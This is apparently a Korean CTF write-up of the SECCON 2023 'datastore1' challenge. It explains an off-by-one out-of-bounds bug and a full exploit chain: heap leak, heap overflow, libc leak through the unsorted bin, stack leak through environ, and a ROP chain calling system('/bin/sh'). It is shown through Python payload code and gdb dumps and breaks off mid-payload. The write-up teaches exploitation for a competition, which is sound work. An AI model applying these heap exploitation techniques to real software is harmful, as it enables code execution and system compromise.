SECCON CTF 2023 Quals - datastore1

0x00. Introduction

[*] '/home/user/datastore1'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled

Structure

typedef struct {
  type_t type;

  union {
    struct Array *p_arr;
    struct String *p_str;
    uint64_t v_uint;
    double v_float;
  };
} data_t;

typedef struct Array {
  size_t count;
  data_t data[];
} arr_t;

typedef struct String {
  size_t size;
  char *content;
} str_t;

๋ฐ์ดํ„ฐ๋ฅผ ํŠน์ดํ•œ ๋ฐฉ์‹์œผ๋กœ ์ €์žฅํ•ด์„œ ์ฒ˜์Œ์— ์ ์‘ํ•˜๊ธฐ ๊นŒ๋‹ค๋กœ์› ๋‹ค. ์–ด๋ ต๊ฒŒ ์ƒ๊ฐํ•˜์ง€ ๋ง๊ณ  ์–ด๋–ค ๋ฐ์ดํ„ฐ๋ฅผ data_t์— ์ €์žฅํ•˜๋Š”๋ฐ, ๋ฐ์ดํ„ฐ์˜ ์œ ํ˜•์— ๋”ฐ๋ผ ๋‹ค๋ฅธ ๋ฐฉ์‹์œผ๋กœ ์ €์žฅํ•œ๋‹ค๊ณ  ์ƒ๊ฐํ•˜๋ฉด ๋œ๋‹ค.

Concept

โžœ  ./datastore1

MENU
1. Edit
2. List
0. Exit
> 1

Current: <EMPTY>
Select type: [a]rray/[v]alue
> a
input size: 4

MENU
1. Edit
2. List
0. Exit
> 2

List Data
<ARRAY(4)>
[00] <EMPTY>
[01] <EMPTY>
[02] <EMPTY>
[03] <EMPTY>

์ž…๋ ฅ๊ฐ’์— ๋”ฐ๋ผ heap์— ๋ฐ์ดํ„ฐ๋ฅผ ์ž์œ ๋กญ๊ฒŒ ์ €์žฅํ•˜๊ฑฐ๋‚˜ ์กฐํšŒํ•  ์ˆ˜ ์žˆ๋‹ค.

0x01. Vulnerability

์ทจ์•ฝ์ ์€ edit() ํ•จ์ˆ˜์—์„œ Array๋ฅผ ๋‹ค๋ฃฐ ๋•Œ ๋ฐœ์ƒํ•œ๋‹ค.

static int edit(data_t *data){
  ...
  switch(data->type){
    case TYPE_ARRAY:
      arr_t *arr = data->p_arr;

      printf("index: ");
      unsigned idx = getint();
      if(idx > arr->count)
        return -1;
      ...
  }
}

์ž…๋ ฅํ•œ idx ๊ฐ’์ด arr->count๋ณด๋‹ค ํฐ ์ง€ ๊ฒ€์ฆํ•˜๋Š”๋ฐ, ๋‘ ๊ฐ’์ด ๊ฐ™์„ ๊ฒฝ์šฐ๋ฅผ ๊ฒ€์ฆํ•˜์ง€ ์•Š์•„ OOB๊ฐ€ ๋ฐœ์ƒํ•œ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด arr->count๊ฐ€ 4์ด๋ฉด data[0]~data[3]์ด ์ƒ์„ฑ๋˜๋Š”๋ฐ, ์žˆ์ง€๋„ ์•Š์€ data[4]์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์–ด arr ๋ฐ”๋กœ ๋‹ค์Œ ์˜์—ญ์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋‹ค.

์ƒˆ์‚ผ ์ด ๊ฐ„๋‹จํ•œ ์ทจ์•ฝ์ ์œผ๋กœ ์‰˜์ด ๋”ฐ์ธ๋‹ค๋‹ˆ ๋†€๋ž๋‹คโ€ฆ ์—ญ์‹œ ์ทจ์•ฝ์ ์€ ์šฐ์„  exploitability๋ฅผ ๋ง‰๋ก ํ•˜๊ณ  bug๋ฅผ ์ฐพ๋Š”๋‹ค๋Š” ๊ด€์ ์œผ๋กœ ๋ด์•ผํ•˜๋Š” ๊ฒƒ ๊ฐ™๋‹ค.

0x02. Exploit

Heap Leak

์šฐ์„  ์ทจ์•ฝ์ ์„ ํŠธ๋ฆฌ๊ฑฐํ•˜๊ธฐ ์œ„ํ•ด ๋‹ค์Œ๊ณผ ๊ฐ™์ด Array๋ฅผ ํ• ๋‹นํ•œ๋‹ค.

    edit(s, 'u', [], 'a', 1)
    edit(s, 'u', [0], 'a', 4)
    edit(s, 'u', [0, 0], 'a', 4)
    edit(s, 'u', [0, 1], 'a', 4)
    edit(s, 'u', [0, 2], 'a', 4)
    edit(s, 'u', [0, 3], 'a', 4)

์—ฌ๊ธฐ์—์„œ edit()์˜ ์„ธ ๋ฒˆ์งธ ์ธ์ž์— ๋“ค์–ด๊ฐ€๋Š” list๋Š” Array์˜ index๋ฅผ ๋œปํ•˜๋Š”๋ฐ, ์˜ˆ๋ฅผ ๋“ค๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

  • [] : root->*p_arr
  • [0] : [00]
  • [0, 1] : [00] -> [01]

๊ทธ๋Ÿฌ๋ฏ€๋กœ edit(s, 'u', [0, 1], 'a', 4)์˜ ์˜๋ฏธ๋Š” โ€œ[00] -> [01] ์œ„์น˜์— ๊ธธ์ด๊ฐ€ 4์ธ arr_t๋ฅผ ์ƒ์„ฑํ•œ๋‹คโ€ ๋Š” ์˜๋ฏธ๋ฅผ ๊ฐ€์ง„๋‹ค.

์ด๋ ‡๊ฒŒ data_t ๊ฐ์ฒด๋“ค์„ ์ƒ์„ฑํ•˜๋ฉด ๋ฉ”๋ชจ๋ฆฌ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

# root : 0x5555555592a0
gefโžค  x/2gx 0x5555555592a0
0x5555555592a0: 0x00000000feed0001      0x00005555555592c0
# []
gefโžค  x/3gx 0x00005555555592c0
0x5555555592c0: 0x0000000000000001      0x00000000feed0001
0x5555555592d0: 0x00005555555592e0
# [0]
gefโžค  x/9gx 0x00005555555592e0
0x5555555592e0: 0x0000000000000004      0x00000000feed0001
0x5555555592f0: 0x0000555555559330      0x00000000feed0001
0x555555559300: 0x0000555555559380      0x00000000feed0001
0x555555559310: 0x00005555555593d0      0x00000000feed0001
0x555555559320: 0x0000555555559420
# [0, 0]
gefโžค  x/10gx 0x0000555555559330
0x555555559330: 0x0000000000000004      0x0000000000000000      # [0, 0, 0]
0x555555559340: 0x0000000000000000      0x0000000000000000      # [0, 0, 1]
0x555555559350: 0x0000000000000000      0x0000000000000000      # [0, 0, 2]
0x555555559360: 0x0000000000000000      0x0000000000000000      # [0, 0, 3]
0x555555559370: 0x0000000000000000      0x0000000000000051      # [0, 0, 4] < OOB
# [0, 1]
gefโžค  x/9gx 0x0000555555559380
0x555555559380: 0x0000000000000004      0x0000000000000000
0x555555559390: 0x0000000000000000      0x0000000000000000
0x5555555593a0: 0x0000000000000000      0x0000000000000000
0x5555555593b0: 0x0000000000000000      0x0000000000000000
0x5555555593c0: 0x0000000000000000

Heap์—์„œ ์—ฐ์†์ ์œผ๋กœ chunk๋ฅผ ํ• ๋‹นํ•ด์ฃผ์–ด [0, 0]๊ณผ [0, 1]์ด ์ธ์ ‘ํ•œ ๋ฉ”๋ชจ๋ฆฌ ๊ตฌ์กฐ๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค. ๋”ฐ๋ผ์„œ OOB ์ทจ์•ฝ์ ์„ ์ด์šฉํ•ด์„œ ์กด์žฌํ•˜์ง€ ์•Š๋Š” [0, 0, 4]์— ์ ‘๊ทผํ•˜๊ฒŒ ๋˜๋ฉด 0x555555559378~0x555555559380 ์˜์—ญ์„ overwriteํ•  ์ˆ˜ ์žˆ๊ฒŒ ๋œ๋‹ค.

  • 0x555555559378 : [0, 1] chunk์˜ header
  • 0x555555559380 : [0, 1]->count

show() ํ•จ์ˆ˜์—์„œ ๊ฐ์ฒด์˜ ํฌ๊ธฐ๋ฅผ ์ฐธ์กฐํ•˜์—ฌ data_t->type๊ณผ ํ•จ๊ป˜ ์ถœ๋ ฅํ•ด์ฃผ๋ฏ€๋กœ, count์— ์–ด๋–ค ์ฃผ์†Œ๊ฐ€ ์“ฐ์ด๋„๋ก ํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด leak์ด ๊ฐ€๋Šฅํ•˜๋‹ค.

Current: <ARRAY(4)>
[00] <ARRAY(4)>
[01] <ARRAY(4)>
[02] <ARRAY(4)>
[03] <ARRAY(4)>

[0, 0, 4]์— ์ƒˆ๋กœ์šด arr_t๋ฅผ ํ• ๋‹นํ•  ๊ฒฝ์šฐ, ๋‹ค์Œ๊ณผ ๊ฐ™์ด ํ• ๋‹น์ด ๋œ๋‹ค.

  • 0x555555559378 : [0, 1] chunk์˜ header -> data_t->type
  • 0x555555559380 : [0, 1]->count -> data_t->*p_arr

๊ทธ๋Ÿฐ๋ฐ [0, 0, 4]์— ์ ‘๊ทผ ์‹œ edit()์—์„œ show() ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•ด ํ˜„์žฌ ์ €์žฅ๋œ ๋ฐ์ดํ„ฐ์˜ ์ƒํƒœ๋ฅผ ๋ณด์—ฌ์ค€๋‹ค.

static int edit(data_t *data){
  if(!data)
    return -1;

  printf("\nCurrent: ");
  show(data, 0, false);
  ...
}

์ด ๋•Œ data_t->type์— chunk size์ธ 0x51์ด ์ €์žฅ๋˜์–ด์žˆ๊ณ  ์ด๋Š” type_t์— ์ •์˜๋˜์ง€ ์•Š์€ ๊ฐ’์ด๊ธฐ ๋•Œ๋ฌธ์— show() ํ•จ์ˆ˜์—์„œ exit()์ด ํ˜ธ์ถœ๋˜์–ด๋ฒ„๋ฆฐ๋‹ค.

static int show(data_t *data, unsigned level, bool recur){
  ...
  switch(data->type){
    case TYPE_EMPTY:
      puts("<EMPTY>");
      break;
    ...
    default:
      puts("<UNKNOWN>");
      exit(1);
  }
  return 0;
}

๋”ฐ๋ผ์„œ arr_t ์ƒ์„ฑ ์ „์— edit()์˜ delete๋ฅผ ์ด์šฉํ•˜์—ฌ data_t->type์œผ๋กœ ํ•ด์„๋˜๋Š” ๊ฐ’์„ 0์œผ๋กœ ์ดˆ๊ธฐํ™”ํ•  ํ•„์š”๊ฐ€ ์žˆ๋‹ค.

    # overwrite arr_t.count of [0, 1]
    edit(s, 'd', [0, 0, 4])
    edit(s, 'u', [0, 0, 4], 'a', 2)

์ด๋ ‡๊ฒŒ overwrite์— ์„ฑ๊ณตํ•˜๋ฉด [0, 1]->count ๋ถ€๋ถ„์— ์ƒˆ๋กœ์šด arr_t ์ฃผ์†Œ๊ฐ€ ๋‹ด๊ธฐ๊ฒŒ ๋˜๊ณ , show()๋ฅผ ์ด์šฉํ•ด ๊ฐ’์„ ์ถœ๋ ฅํ•  ์ˆ˜ ์žˆ๋‹ค.

Heap Overflow

์ด์ œ arr_t๋กœ heap leak์ด ๊ฐ€๋Šฅํ–ˆ์œผ๋‹ˆ ๋‹ค๋ฅธ ๊ตฌ์กฐ์ฒด์ธ str_t์„ ์ด์šฉํ•ด exploit์„ ์‹œ๋„ํ•˜๋ ค๊ณ  ํ–ˆ๋‹ค.

typedef struct String {
	size_t size;
	char *content;
} str_t;

OOB๋ฅผ ์ด์šฉํ•ด size, *content๋ฅผ ๋ฎ์œผ๋ฉด ์ž„์˜ ์ฃผ์†Œ๋ฅผ read / writeํ•  ์ˆ˜ ์žˆ๊ฒ ๋‹ค๋Š” ์ƒ๊ฐ์ด ๋“ค์—ˆ๋‹ค.

    edit(s, 'u', [0, 2, 0], 'v', "A" * 0x10)
    edit(s, 'u', [0, 2, 1], 'v', "B" * 0x10)
    edit(s, 'u', [0, 2, 2], 'v', "C" * 0x10)

์œ„ payload๋ฅผ ์ด์šฉํ•ด str_t ๊ฐ์ฒด๋“ค์„ ํ• ๋‹นํ•˜๋ฉด ๋ฉ”๋ชจ๋ฆฌ ๊ตฌ์กฐ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

gefโžค  x/10gx 0x0000555555559420
0x555555559420: 0x0000000000000004      0x0000000000000000      # [0, 3]
0x555555559430: 0x0000000000000000      0x0000000000000000
0x555555559440: 0x0000000000000000      0x0000000000000000
0x555555559450: 0x0000000000000000      0x0000000000000000
0x555555559460: 0x0000000000000000      0x0000000000000021
gefโžค
0x555555559470: 0x0000000000000001      0x0000000000000000      # [0, 0, 4]
0x555555559480: 0x0000000000000000      0x0000000000000021
0x555555559490: 0x4141414141414141      0x4141414141414141      # [0, 2, 0]->content
0x5555555594a0: 0x0000000000000000      0x0000000000000051
0x5555555594b0: 0x0000000555555559      0xaf03f4adbccb3443      # leftover buf
gefโžค
0x5555555594c0: 0x0000000000000000      0x0000000000000000
0x5555555594d0: 0x0000000000000000      0x0000000000000000
0x5555555594e0: 0x0000000000000000      0x0000000000000000
0x5555555594f0: 0x0000000000000000      0x0000000000000021 
0x555555559500: 0x0000000000000010      0x0000555555559490      # [0, 2, 0] ; "AAAA"

์ด๋ ‡๊ฒŒ OOB ์ทจ์•ฝ์ ์„ ์ด์šฉํ•ด์„œ [0, 2, 0]์˜ size์™€ *content๋ฅผ ๋ฎ๊ณ  ์‹ถ์–ด๋„ ์ธ์ ‘ํ•œ ์˜์—ญ์— ํ• ๋‹น๋˜์ง€ ์•Š๋Š”๋ฐ, create()์—์„œ ์ž…๋ ฅ์„ ๋ฐ›๋Š” ๋ฐฉ์‹ ๋•Œ๋ฌธ์— ๋ฐœ์ƒํ•˜๋Š” ๋ฌธ์ œ์ด๋‹ค.

static int create(data_t *data){
  ...
  else {        // type == 'v'
    char *buf, *endptr;

    printf("input value: ");
    scanf("%70m[^\n]%*c", &buf);
    if(!buf){
      getchar();
      return -1;
    }
    ...
    str_t *str = (str_t*)malloc(sizeof(str_t));
    if(!str){
      free(buf);
      return -1;
    }
    str->size = strlen(buf);
    str->content = buf;
    buf = NULL;

    data->type = TYPE_STRING;
    data->p_str = str;
fin:
    free(buf);
  }
  return 0;
}

scanf()๋ฅผ ๋ณด๋ฉด ํŠน์ดํ•œ formatter๋ฅผ ์‚ฌ์šฉํ•˜๋Š”๋ฐ, m์€ GNU ํ™•์žฅ ๊ธฐ๋Šฅ ์ค‘ ํ•˜๋‚˜๋กœ heap ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ํ• ๋‹นํ•˜์—ฌ ์ž…๋ ฅ๊ฐ’์„ ์ €์žฅํ•œ๋‹ค. ์ž์„ธํžˆ ๋ณด๋ฉด buf์— ์ž…๋ ฅ์„ ๋ฐ›์€ ๋‹ค์Œ ์ฃผ์†Œ๋ฅผ str->content์— ๋„ฃ์–ด๋†“๊ณ  free()์‹œํ‚ค๋Š”๋ฐ, ์–ด์ฐจํ”ผ buf๊ฐ€ NULL๋กœ ์ดˆ๊ธฐํ™”๋˜๊ธฐ ๋•Œ๋ฌธ์— ์•„๋ฌด๋Ÿฐ ํ•ด์ œ๊ฐ€ ์ผ์–ด๋‚˜์ง€๋Š” ์•Š๋Š”๋‹ค.

์–ด์ฐŒ๋๊ฑด scanf()๋ฅผ ํ•  ๋•Œ 70๋ฐ”์ดํŠธ๋ฅผ ์ž…๋ ฅ๋ฐ›๊ธฐ ์œ„ํ•ด ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ํ• ๋‹นํ•˜๊ณ , ์ž…๋ ฅ๊ฐ’์„ ์ €์žฅํ•œ ๋’ค ๋‚˜๋จธ์ง€ ๋ฉ”๋ชจ๋ฆฌ๋Š” ํ•ด์ œํ•˜๋Š” ๋™์ž‘์„ ์ˆ˜ํ–‰ํ•œ๋‹ค. ์ด ๊ณผ์ •์—์„œ heap์„ ์‚ฌ์šฉํ•˜๊ธฐ ๋•Œ๋ฌธ์— str_t๋ณด๋‹ค buf๊ฐ€ ๋จผ์ € ํ• ๋‹น๋˜์–ด ์ธ์ ‘ํ•œ ์˜์—ญ์— [0, 2, 0]์ด ํ• ๋‹น๋˜์ง€ ์•Š๋Š”๋‹ค. ๋”ฐ๋ผ์„œ str_t์˜ chunk size์™€ ๋™์ผํ•œ ํฌ๊ธฐ๋ฅผ ๊ฐ€์ง€๋Š” chunk๋ฅผ ํ•ด์ œํ•ด๋‘๊ณ  create()๋ฅผ ํ˜ธ์ถœํ•˜๋„๋ก payload๋ฅผ ์ž‘์„ฑํ•ด์•ผํ•œ๋‹ค.

์ด๋ฅผ ์œ„ํ•ด heap leak ๊ณผ์ •์—์„œ [0, 1]->count๋ฅผ overwriteํ•  ๋•Œ chunk size๊ฐ€ 0x20์ด ๋˜๋„๋ก arr_t->count๊ฐ€ 1์ธ ๊ฐ์ฒด๋ฅผ [0, 0, 4]์— ์ƒ์„ฑํ•˜์˜€๋‹ค.

    # free [0, 0, 4] (0x20 chunk) and reallocate it to [0, 2, 0] (str_t, also 0x20)
    edit(s, 'd', [0, 0, 4])
    edit(s, 'u', [0, 2, 0], 'v', "A" * 0x30)
    edit(s, 'u', [0, 2, 1], 'v', "B" * 0x10)
    edit(s, 'u', [0, 2, 2], 'v', "C" * 0x10)

์ด๋ ‡๊ฒŒ payload๋ฅผ ์ž‘์„ฑํ•œ ๋’ค ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ๋ณด๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

gefโžค  x/10gx 0x0000555555559420
0x555555559420: 0x0000000000000004      0x0000000000000000      # [0, 3]
0x555555559430: 0x0000000000000000      0x0000000000000000
0x555555559440: 0x0000000000000000      0x0000000000000000
0x555555559450: 0x0000000000000000      0x0000000000000000
0x555555559460: 0x0000000000000000      0x0000000000000021
gefโžค
0x555555559470: 0x0000000000000010      0x0000555555559490      # [0, 2, 0] ; "AAAA"
0x555555559480: 0x0000000000000000      0x0000000000000021
0x555555559490: 0x4141414141414141      0x4141414141414141      # [0, 2, 0]->content
0x5555555594a0: 0x0000000000000000      0x0000000000000051
0x5555555594b0: 0x0000000555555559      0x5d50bdc37f682be0      # leftover buf
gefโžค
0x5555555594c0: 0x0000000000000000      0x0000000000000000
0x5555555594d0: 0x0000000000000000      0x0000000000000000
0x5555555594e0: 0x0000000000000000      0x0000000000000000
0x5555555594f0: 0x0000000000000000      0x0000000000000021
0x555555559500: 0x4242424242424242      0x4242424242424242      # [0, 2, 1]->content

์ด์ œ์•ผ [0, 2, 0]์ด [0, 3]๊ณผ ์ธ์ ‘ํ•˜๊ฒŒ ํ• ๋‹น๋˜์—ˆ์œผ๋ฏ€๋กœ OOB ์ทจ์•ฝ์ ์„ ์ด์šฉํ•  ์ˆ˜ ์žˆ๋‹ค.

    # now that [0, 2, 0] is where [0, 0, 4] was, overwrite str_t.size of [0, 2, 0]
    edit(s, 'd', [0, 3, 4])
    edit(s, 'u', [0, 3, 4], 'v', 0x1000)

์œ„ payload์™€ ๊ฐ™์ด [0, 3, 4]์— ์ ‘๊ทผํ•˜์—ฌ v_uint๋กœ ํ•ด์„๋˜๊ฒŒ๋” 0x1000์„ ์ž…๋ ฅํ•˜๋ฉด ๋ฉ”๋ชจ๋ฆฌ์— ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์ €์žฅ๋œ๋‹ค.

gefโžค  x/8gx 0x555555559460
0x555555559460: 0x0000000000000000      0x00000000feed0003
0x555555559470: 0x0000000000001000      0x0000555555559490      # [0, 2, 0] ; "AAAA"
0x555555559480: 0x0000000000000000      0x0000000000000021
0x555555559490: 0x4141414141414141      0x4141414141414141

str_t ๊ตฌ์กฐ์ฒด์ธ [0, 2, 0]->size ์˜์—ญ์— 0x1000์ด ์“ฐ์—ฌ์กŒ์œผ๋‹ˆ ์ด ๊ฐ์ฒด๋ฅผ ์ด์šฉํ•˜์—ฌ *content์— ์ €์žฅ๋œ ์ฃผ์†Œ์ธ 0x555555559490๋ถ€ํ„ฐ 0x1000๋ฐ”์ดํŠธ๋ฅผ ์ž์œ ๋กญ๊ฒŒ overwriteํ•  ์ˆ˜ ์žˆ๋‹ค.

Libc Leak

๋ฌธ์ œ๋ฅผ ํ’€ ๋•Œ๋Š” ๋šœ๋ ทํ•œ ๋ชฉ์ ์„ฑ ์—†์ด *โ€œheap overflow๊ฐ€ ๊ฐ€๋Šฅํ•˜๋‹ˆ๊นŒ ์ผ๋‹จ chunk size๋ฅผ ๋ฎ์–ด์„œ libc leak์„ ํ•ด์•ผ๊ฒ ๋‹คโ€*๊ณ  ์ƒ๊ฐํ–ˆ๋Š”๋ฐโ€ฆ

*โ€œPIE๋„ ์ผœ์ ธ์žˆ๊ณ  Full Relro๋„ ์ ์šฉ๋˜์–ด์žˆ์œผ๋‹ˆ GOT overwrite๋Š” ํฌ๊ธฐํ•˜๊ณ  libc leak -> stack leak์„ ํ•ด์„œ return address๋ฅผ ๋ฎ์–ด์•ผ๊ฒ ๋‹คโ€*๊ฐ€ ์˜ฌ๋ฐ”๋ฅธ ์‚ฌ๊ณ ์˜ ๊ณผ์ •์ธ ๊ฒƒ ๊ฐ™๋‹ค.

์•„๋ฌดํŠผ chunk๋ฅผ unsorted bin์œผ๋กœ ๋ณด๋‚ด์„œ main_arena ์ฃผ์†Œ๊ฐ€ ๋‹ด๊ธฐ๊ฒŒํ•˜๋Š” ๊ธฐ๋ฒ•์„ ํ†ตํ•ด libc leak์„ ์ง„ํ–‰ํ•˜์˜€๋‹ค. ์ด ๋•Œ ๋ช‡ ๊ฐ€์ง€ ๋งž์ถฐ์•ผ ํ•  ์กฐ๊ฑด์ด ์žˆ์—ˆ๋Š”๋ฐ, ๊ทธ๋ ‡์ง€ ์•Š์œผ๋ฉด chunk๊ฐ€ unsorted bin์œผ๋กœ ๋ณด๋‚ด์ง€์ง€ ์•Š๋Š”๋‹ค.

  • chunk size๊ฐ€ 0x420 ์ด์ƒ์ผ ๊ฒƒ
  • ํ•ด๋‹น chunk์˜ ๋‹ค์Œ ์˜์—ญ์— chunk๊ฐ€ ์กด์žฌํ•  ๊ฒƒ(next_chunk)
  • next_chunk๊ฐ€ top chunk๊ฐ€ ์•„๋‹ ๊ฒƒ

ํŠนํžˆ ์„ธ ๋ฒˆ์งธ ์กฐ๊ฑด๊ณผ ๋ฐ˜๋Œ€๋กœ next_chunk๊ฐ€ top chunk์ผ ๊ฒฝ์šฐ ๊ทธ๋ƒฅ top chunk์— ๋ณ‘ํ•ฉ๋˜์–ด๋ฒ„๋ ค์„œ chunk๊ฐ€ unsorted bin์œผ๋กœ ๋ณด๋‚ด์ง€์ง€ ์•Š๋Š”๋‹ค.

์กฐ๊ฑด์„ ํ•˜๋‚˜์”ฉ ๋งž์ถ”๊ธฐ ์œ„ํ•ด ์•ž์„œ heap overflow ์ƒํ™ฉ์—์„œ์˜ ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ๋ณด๋ฉด,

gefโžค  x/20gx 0x555555559470
0x555555559470: 0x0000000000001000      0x0000555555559490      # [0, 2, 0] ; "AAAA"
0x555555559480: 0x0000000000000000      0x0000000000000021
0x555555559490: 0x4141414141414141      0x4141414141414141      # [0, 2, 0]->content
0x5555555594a0: 0x0000000000000000      0x0000000000000051
0x5555555594b0: 0x0000000555555559      0x2da0f37bfd770960
0x5555555594c0: 0x0000000000000000      0x0000000000000000
0x5555555594d0: 0x0000000000000000      0x0000000000000000
0x5555555594e0: 0x0000000000000000      0x0000000000000000
0x5555555594f0: 0x0000000000000000      0x0000000000000021
0x555555559500: 0x4242424242424242      0x4242424242424242      # [0, 2, 1]->content
gefโžค
0x555555559510: 0x0000000000000000      0x0000000000000051
0x555555559520: 0x000055500000c1e9      0x2da0f37bfd770960
0x555555559530: 0x0000000000000000      0x0000000000000000
0x555555559540: 0x0000000000000000      0x0000000000000000
0x555555559550: 0x0000000000000000      0x0000000000000000
0x555555559560: 0x0000000000000000      0x0000000000000021
0x555555559570: 0x0000000000000010      0x0000555555559500      # [0, 2, 1] ; "BBBB"
0x555555559580: 0x0000000000000000      0x0000000000000021
0x555555559590: 0x4343434343434343      0x4343434343434343      # [0, 2, 2]->content
0x5555555595a0: 0x0000000000000000      0x0000000000000051
gefโžค
0x5555555595b0: 0x000055500000c079      0x2da0f37bfd770960
0x5555555595c0: 0x0000000000000000      0x0000000000000000
0x5555555595d0: 0x0000000000000000      0x0000000000000000
0x5555555595e0: 0x0000000000000000      0x0000000000000000
0x5555555595f0: 0x0000000000000000      0x0000000000000021
0x555555559600: 0x0000000000000010      0x0000555555559590      # [0, 2, 2] ; "CCCC"
0x555555559610: 0x0000000000000000      0x0000000000000021
0x555555559620: 0x0000000555555559      0x2da0f37bfd770960
0x555555559630: 0x0000000000000000      0x0000000000000051
0x555555559640: 0x000055500000c0e9      0x2da0f37bfd770960

[0, 2, 2]์˜ chunk size๋ฅผ 0x421๋กœ ๋ฐ”๊ฟ” free()์‹œํ‚จ ํ›„ main_arena ์ฃผ์†Œ๊ฐ€ ์“ฐ์ด๋ฉด [0, 2, 1]->*content๋ฅผ [0, 2, 2] ์ฃผ์†Œ๋กœ ๋ฐ”๊ฟ” ์ถœ๋ ฅ์„ ํ•˜๊ฒŒ๋” ์‹œ๋‚˜๋ฆฌ์˜ค๋ฅผ ๊ตฌ์„ฑํ–ˆ๋‹ค.

๋”ฐ๋ผ์„œ chunk size overwrite์™€ [0, 2, 1]->*content๋ฅผ ๋ฐ”๊พธ๋Š” ๊ฒƒ์„ ๊ณ ๋ คํ•ด์„œ payload๋ฅผ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์ž‘์„ฑํ–ˆ๋‹ค. ์ด ๋•Œ ๋‹ค๋ฅธ chunk๋“ค์„ ๊ฑด๋“ค์ด๋ฉด free()์—์„œ ์—๋Ÿฌ๊ฐ€ ๋ฐœ์ƒํ•ด ๊ตฌ์กฐ๋ฅผ ๊ทธ๋Œ€๋กœ ์œ ์ง€ํ•˜๋„๋ก ์ž‘์„ฑํ•˜์˜€๋‹ค.

    # overwrite chunk_size of [0, 2, 2] ("CCCC")
    payload = b"A" * 0x10
    payload += p64(0) + p64(0x51)
    payload += b"\x00" * 0x40
    payload += p64(0) + p64(0x21)
    payload += b"B" * 0x10
    payload += p64(0) + p64(0x51)
    payload += b"\x00" * 0x40
    payload += p64(0) + p64(0x21)
    payload += p64(0x10) + p64(heap + 0x600)    # set [0, 2, 1]->content to [0, 2, 2]
    payload += p64(0) + p64(0x21)
    payload += b"C" * 0x10
    payload += p64(0) + p64(0x51)
    payload += b"\x00" * 0x40
    payload += p64(0) + p64(0x421)
    edit(s, 'u', [0, 2, 0], 'e', payload)

์ด์ œ ๋‘ ๋ฒˆ์งธ, ์„ธ ๋ฒˆ์งธ ์กฐ๊ฑด์„ ๋งž์ถ”๊ธฐ ์œ„ํ•œ payload๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

    # align top chunk; nextchunk of 0x420 chunk should not be top chunk
    edit(s, 'u', [0, 2, 3], 'a', 0x10)
    edit(s, 'u', [0, 2, 3, 0], 'a', 0x10)
    edit(s, 'u', [0, 2, 3, 1], 'a', 0x10)
    edit(s, 'u', [0, 2, 3, 2], 'a', 0x5)
    edit(s, 'u', [0, 2, 3, 3], 'a', 0x1)        # next_chunk

[0, 2, 3, 2]๊นŒ์ง€๋งŒ ๊ฐ์ฒด๋“ค์„ ์ƒ์„ฑํ•˜๋ฉด [0, 2, 2]์˜ next_chunk๊ฐ€ top chunk๊ฐ€ ๋˜๋ฏ€๋กœ [0, 2, 3, 3]์„ ๊ผญ ์ƒ์„ฑํ•ด์ฃผ์–ด์•ผ ํ•œ๋‹ค.

Current: <ARRAY(4)>
[00] <S> AAAAAAAAAAAAAAAA
[01] <S> \xe0\xac\xfa\xf7\xff\x7f
[02] <EMPTY>
[03] <ARRAY(16)>
index: 

Stack Leak

Libc ์ฃผ์†Œ๊ฐ€ ์žˆ์œผ๋‹ˆ environ ๋ณ€์ˆ˜๋ฅผ ์ด์šฉํ•ด์„œ stack leak์ด ๊ฐ€๋Šฅํ•˜๋‹ค.

    # arbitrary read (environ)
    payload = b"A" * 0xe0
    payload += p64(0x10) + p64(libc + lib.symbols['environ'])
    edit(s, 'u', [0, 2, 0], 'e', payload)

์•ž์—์„œ๋Š” chunk ํ• ๋‹น๊ณผ ํ•ด์ œ๋ฅผ ํ•˜๊ธฐ ๋•Œ๋ฌธ์— chunk ๊ตฌ์กฐ๋ฅผ ๋งž์ถฐ์„œ payload๋ฅผ ์ž‘์„ฑํ–ˆ๋Š”๋ฐ, ์ด์ œ๋Š” ๊ทธ๋Ÿด ํ•„์š”๊ฐ€ ์—†์œผ๋‹ˆ [0, 2, 1]๊ณผ์˜ offset๋งŒ ์ž˜ ๋งž์ถฐ์ฃผ๋ฉด leak์ด ๊ฐ€๋Šฅํ•˜๋‹ค.

Ret Overwrite

๋งˆ์ง€๋ง‰์œผ๋กœ RIP control์„ ์œ„ํ•ด์„œ return address๋ฅผ ๋ฎ๊ธฐ๋กœ ํ–ˆ๋‹ค. ๋จผ์ € [0, 2, 1]->*content๊ฐ€ main()์˜ return address๊ฐ€ ์ €์žฅ๋œ stack ์ฃผ์†Œ๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋„๋ก ์„ค์ •ํ–ˆ๋‹ค. ์ดํ›„ libc์— ์žˆ๋Š” ๊ฐ€์ ฏ์„ ์ด์šฉํ•˜์—ฌ ์ธ์ž๋ฅผ ์„ค์ •ํ•˜๊ณ  system() ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ–ˆ๋‹ค.

๋‹ค๋งŒ ์ด ๋•Œ syscall ๋‹น์‹œ์˜ stack alignment๊ฐ€ ๋งž์ง€ ์•Š์•„ pop rdi; pop rbp ๊ฐ€์ ฏ์„ ์‚ฌ์šฉํ–ˆ๋‹ค.

    # arbitrary write (ret of main)
    payload = b"B" * 0xe0
    payload += p64(0x20) + p64(ret)
    edit(s, 'u', [0, 2, 0], 'e', payload)

    pop_rdi_rbp = 0x2a745
    payload = p64(libc + pop_rdi_rbp)
    payload += p64(libc + next(lib.search(b"/bin/sh")))
    payload += b"C" * 8
    payload += p64(libc + lib.symbols['system'])
